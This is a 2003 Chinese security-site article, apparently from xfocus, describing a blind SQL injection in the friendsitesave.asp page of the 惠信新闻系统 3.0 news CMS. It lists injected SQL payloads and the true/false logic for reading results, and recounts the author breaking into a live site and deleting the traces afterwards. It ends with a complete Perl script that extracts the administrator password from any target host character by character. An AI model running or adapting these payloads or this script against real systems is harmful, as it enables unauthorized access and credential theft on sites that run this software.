xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
添加文章 English Version

千里之堤,溃于蚁穴


创建时间:2003-07-24
文章属性:原创
文章提交:Ph4nt0m (axis_at_ph4nt0m.net)

作者:Mix<mix@ph4nt0m.net>
个人站点:http://www.ph4nt0m.net
小组主页:http://mix000.91i.net


小生故意将文章题目起得像模像样,来吸引观众!高手就不用往下看了~~~呵呵

惠州市信息产业局出品的惠信新闻系统3.0二版网上有不少网站在用,强大的管理功能,漂亮的界面都是他卓越品质的表现。

就我们关心的安全方面来讲,首先它在用户注册、用户登陆、用户注册的时候都很小心的过滤了单引号、空格等字符,在管理员、高等级用户的管理页面开都都会调用session.asp里面的函数来检查管理员登陆的Session标记。即使是在调用新闻大类、小类以及详细内容的时候,虽然有地方没有过滤非法字符,但是他没有相关的错误回显,很难靠这些来做数据库的判断。

但是,小生还是找到了一个错误的地方,仍然是变量没有过滤的问题,当真就只看到这一处可以利用。这个错误在friendsitesave.asp这个文件中,该文件本来的作用是用来保存网友提交的交换连接信息的。来看代码:

---------------------------------------------------------------------------------------------

SiteName=trim(request.form("SiteName"))
SiteUrl=trim(request.form("SiteUrl"))
LogoUrl=trim(request.form("LogoUrl"))
SiteAdmin=trim(request.form("SiteAdmin"))
SiteIntro=trim(request.form("SiteIntro"))

......
'省略判断输入SiteName、SiteUrl是否为空

else
    
sql="select * from FriendSite where SiteName='"&SiteName&"' and SiteUrl='"&SiteUrl&"'"
rs.open sql,conn,1,3
if not rs.eof then
errmsg=errmsg+"<br><li>网址不能为空!</li>"
call error()
Response.End
else
rs.addnew

......
'省略添加新数据库信息的代码

---------------------------------------------------------------------------------------------


这里,他就简单的判断了SiteName、SiteUrl是否为空,然后直接带入数据库。这是个很低级的错误,本来简单带过一下就好了,不用写文章的。但是,在实际的利用当中还是有不少的问题的。小生就自己的一些经历,拉出来和大家一起分享,希望大家以后不会走弯路。

从上面的语句我们看到,当数据库中没有数据与提交的SiteName和SiteUrl相同时,程序将rs.addnew新建一个条目,等待管理员的认证通过。如果有完全相同的数据时,程序就会执行:

--------------------------------------------
errmsg=errmsg+"<br><li>网址不能为空!</li>"
--------------------------------------------


实际上,我们的浏览器收不到这条消息。在默认情况下,数据库中管理员在admin表中ID=7,并且密码是admin,也就是长度为5。用最常用的语句带入看看:

SiteName:good
SiteUrl:good' and 7=(select id from admin where len(password)=5) and '1


这样sql语句就变成了:

select * from FriendSite where SiteName=good and SiteUrl=good' and 7=(select id from admin where len(password)=5) and '1'


如果数据库中存在good/good这条数据,那么程序返回为空。反之,就返回“友情站点添加成功”等信息。这样我们就很容易得能够用下面的语句来猜测管理员的密码:

select * from FriendSite where SiteName='good' and SiteUrl='good' and 7=(select id from admin where left(password,5)='admin') and '1'


我们这样看,把SiteName='good' and SiteUrl='good'看成一个集合,把7=(select id from admin where left(password,5)='admin')看成一个集合,剩下一个and '1'看成一个集合(由于这个不变,所以我在下面省略了)。那么可以根据上面的信息写出下面的逻辑表达式:

-------------------
1 and 1 =1 返回为空
1 and 0 =0 返回信息

0 and 1 =0 返回信息
0 and 0 =0 返回信息
-------------------


再由上面的逻辑表达式,简单变换一下就成了下面的:

------------------
1 or 1 =1 返回为空
1 or 0 =1 返回为空

0 or 1 =1 返回为空
0 or 0 =0 返回信息
------------------


为什么要先换成这样呢?因为不是每个用这种系统的网站新闻数据库中都有友情连接的,也就是讲通常情况下,我们很难满足数据库中存在相关数据来保证SiteName='good' and SiteUrl='good'这个集合为真。所以我们选择更加合理的、公用的方式:

------------------
0 or 1 =1 返回为空
0 or 0 =0 返回信息
------------------


然后由于我们要判断7=(select id from admin where left(password,5)='admin')的真假,大部分的时间我们的猜测都是假的,也就是0,返回了信息,向数据库中写入了信息!小生就是吃亏在这里,那天晚上用上面的语句手工猜了个8位的密码,结果在数据库中添加了快两百条数据,进去后删这个尾巴都搞了N长时间。所以我们需要改进一下这个语句。我尝试用了not语句等方式,都不能够达到效果。最后搞了半天只好列举法将想到的语句情况列出来看个清楚!

--------------------------------------------------------------------------------
good' and 7=(select id from admin where left(password,1)='q') and '1 返回信息
good' and 7=(select id from admin where left(password,2)='ad') and '1 返回信息

good' and 7<>(select id from admin where left(password,1)='q') and '1 返回信息
good' and 7<>(select id from admin where left(password,2)='ad') and '1 返回信息

good' or 7=(select id from admin where left(password,1)='q') and '1 返回信息
good' or 7=(select id from admin where left(password,2)='ad') and '1 返回为空

good' or 7<>(select id from admin where left(password,1)='q') and '1 返回信息
good' or 7<>(select id from admin where left(password,2)='ad') and '1 返回信息

good' not 7=(select id from admin where left(password,1)='q') and '1 返回为空
good' not 7=(select id from admin where left(password,2)='ad') and '1 返回为空

good' not 7<>(select id from admin where left(password,1)='q') and '1 返回为空
good' not 7<>(select id from admin where left(password,2)='ad') and '1 返回为空
---------------------------------------------------------------------------------


里面好多地方小生都觉得是自相矛盾的,但是事实是这样就只好另外再想办法!你想到了没?N久之后,小生才想通!可以是这样:

-------------------------------------------------------------------------------
good' or 7=(select id from admin where left(password,1)<>'q') and '1 返回为空
good' or 7=(select id from admin where left(password,2)<>'ad') and '1 返回信息
-------------------------------------------------------------------------------


这时,数据库中没有good的数据,通过是否返回信息为判断对错的依据,马上可以用程序实现!这里要注意的是ASP中,他用的是request.form,从POST数据中得到数据,所以更改提交方式的时候,还要注意数据大小的计算。

小生根据PsKey破解BBSXP论坛用户密码的perl脚本改编成了附录中的脚本,使用的时候注意他是默认管理员在admin表中ID=7的,而且密码设置了最长为16位。还是有很多局限性的,有兴趣的朋友还可以再改改。最重要的就是破解了密码之后一定要登陆进去将友情连接的数据删掉(只有密码长度+1个了)~~~呵呵!



附录:简单验证程序

----------------------------------cut here----------------------------------------
#!/usr/bin/perl
#Codz By Mix<mix@ph4nt0m.net>2003/7/22
#Base on PsKey's codz , so THS you !
#This Script can crack 惠信新闻系统3.0 admin's password

$|=1;
use Socket;
use Getopt::Std;
getopt('hpw');

print "\n\n";
print "==========================================\n";
print " Codz By Mix <mix@ph4nt0m.net> 2003/07/22\n";
print "==========================================\n";

&usage unless ( defined($opt_h) );

$host=$opt_h;
$port=$opt_p||80;
$way=$opt_w;

print "\nPlease wait...\nFirst , we start to crack the len of password !\n";

@dic=(0..16);
$offsite=1;
for ($i=0;$i<@dic;$i++)
{
if (($dic[$i]>=10) and ($offsite>0)){
++$lenc;
$offsite=0;}
else{
$lenc=156;}

$request = "POST $way/FriendSiteSave.asp HTTP/1.1\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Host: $host\r\n".
"Content-Length: $lenc\r\n\n".
"SiteName=good&SiteUrl=good%27+or+8%3D%28select+id+from+admin+where+len%28password%29%3C%3E$dic[$i]%29+and+%271&LogoUrl=&SiteAdmin=&SiteIntro=&cmdok=+%CC%ED+%BC%D3+".
"\n\n";
print "$dic[$i].";
@in = sendraw($request);
@num=grep /友情站点添加成功/, @in;
$size=@num;
if ($size > 0) {
print "\n\nOK ! We know the length of the password is $dic[$i] now.\n\nSecond , we start to crack the password of admin !\n";
$lenpwd=$dic[$i];
last;
}
}

$offsite=1;
$lenc=167;
for ($j=1;$j<=$lenpwd;$j++)
{

if (($dic[$i]>=10) and ($offsite>0)){
++$lenc;
$offsite=0;}

@dic11=(0..9);
@dic12=(a..z);
@special=qw(` ~ ! @ # $ %25 ^ %26 * ( ) _ %2b = - { } [ ] : " ; < > ? | , . / \);
@special2=qw( ` ~ ! · # ¥ % …… — * ( ) —— + - = { } [ ] : ” “ ; ’ 《 》 ? │ , 。 / 、 〈 〉 ');
@dic=(@dic11,@dic12,@special,@special2);
for ($i=0;$i<@dic;$i++)
{
$key=$pws.$dic[$i];

$request = "POST $way/FriendSiteSave.asp HTTP/1.1\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"host:$host\r\n".
"Content-Length: $lenc\r\n\n".
"SiteName=good&SiteUrl=good%27+or+8%3D%28select+id+from+admin+where+left%28password%2C$j%29%3C%3E%27$key%27%29+and+%271&LogoUrl=&SiteAdmin=&SiteIntro=&cmdok=+%CC%ED+%BC%D3+".
"\n\n";

print "$dic[$i].";
@in = sendraw($request);

@num1=grep /友情站点添加成功/, @in;
$size1=@num1;
if ($size1 > 0) {
$th=$j.th;
print "\nSuccessful ! The $th word of the password is $dic[$i] \n";
$pws=$pws.$dic[$i];
last;
}

}
$lenc++;
}

$pws=~s/%2b/+/ig;
$pws=~s/%25/%/ig;
$pws=~s/%26/&/ig;

print "\n\nSuccessful,the full password of $user is $pws.\n";

sub usage {
print qq~
Usage: $0 -h <Host> [-p <port>] -w <way>
-h =hostname you want to crack
-p =port,80 default
-w =the path of the weak file

Eg: $0 -h <a href="http://www.target.com" target="_blank">www.target.com</a> -p 80 -w /news
    $0 -h <a href="http://www.target.com" target="_blank">www.target.com</a>
~;
exit;
}


#thanx rfp<rfp@wiretrip.net>'s sendraw
sub sendraw {
my ($request) = @_;
my $target;
$target = inet_aton($host) || die("inet_aton problems");
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || die("Socket
problems\n");
if(connect(S,pack "SnA4x8",2,$port,$target)){
select(S);
$| = 1;
print $request;
my @in = <S>;
select(STDOUT);
close(S);
return @in;
}
else {
die("Can't connect...\n");
}
}

----------------------------------cut here----------------------------------------